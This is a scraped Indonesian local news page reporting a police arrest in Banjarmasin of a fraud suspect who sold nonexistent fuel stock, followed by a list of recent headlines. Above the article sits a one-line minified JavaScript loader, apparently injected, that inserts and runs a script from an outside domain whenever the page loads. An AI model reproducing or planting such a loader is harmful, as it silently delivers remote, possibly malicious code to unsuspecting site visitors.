(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Sinchan, Pelaku Gendam yang Viral di Medsos Akhirnya Berhasil Diringkus


KANALKALIMANTAN.COM, BANJARMASIN – Pelaku penipuan dengan modus ilmu gendam yang viral di media sosial, akhirnya berhasil dibekuk tim gabungan Resmob Polda Kalsel dan Opsnal Reskrim Polsek Banjarmasin Timur, Senin (28/9/2020) siang.

Pelaku yang berinisial GR alias Sinchan, warga Sukaramai Kabupaten Barito Kuala (Batola) diringkus saat sedang berada di salah satu rumah kost kawasan Jalan Manunggal II Kelurahan, Kebun Bunga, Kecamatan Banjarmasin Timur.

Kapolsek Banjarmasin Timur, AKP Susilo melalui Kanit Reskrim, Iptu H Timur Yono menjelaskan, dalam setiap aksinya pelaku selalu mengaku memiliki stok BBM milik salah satu anggota polisi yang dipercayakan kepada dirinya untuk dijualkan.

“Jadi pelaku ini mengaku BBM yang akan dijualnya kepada calon korban adalah milik anggota untuk memastikan korbannya percaya, terkait adanya hipnotis itu tidak benar,’’ kata Yono.
Setelah menentukan besaran harga dan banyaknya BBM yang dibeli, pelaku kemudian mengajak korbannya untuk berkeliling dan mampir di suatu tempat yang berbeda-beda.

“Waktu korban menyerahkan sejumlah uang, pelaku minta izin kepada korban untuk bertemu komandan (anggota polisi yang ia maksud sebagai pemilik BBM). Kemudian pelaku meninggalkan korban dengan membawa uang hasil penipuan tadi,” imbuh Yono
Ia menerangkan, dari pengakuan pelaku, ia sudah beraksi di empat lokasi yang berbeda, antara lain dua TKP di Banjarmasin Timur, dan masing-masing satu TKP di Banjarmasin Barat dan di Kabupaten Barito Kuala dengan total kerugian mencapai belasan juta rupiah.

Oleh karena itu, pihaknya masih melakukan pendalaman terkait kemungkinan adanya TKP lain. “Jika ada yang merasa pernah menjadi korban penipuan oleh pelaku, silahkan melapor ke Mapolsek Banjarmasin Timur,” tandas Yono.

Atas perbuatannya itu pelaku dijerat pasal 378 KUHP tentang penipuan dengan ancaman hukuman 4 tahun penjara. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

5 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

5 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

6 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

6 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

6 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

7 jam ago

This website uses cookies.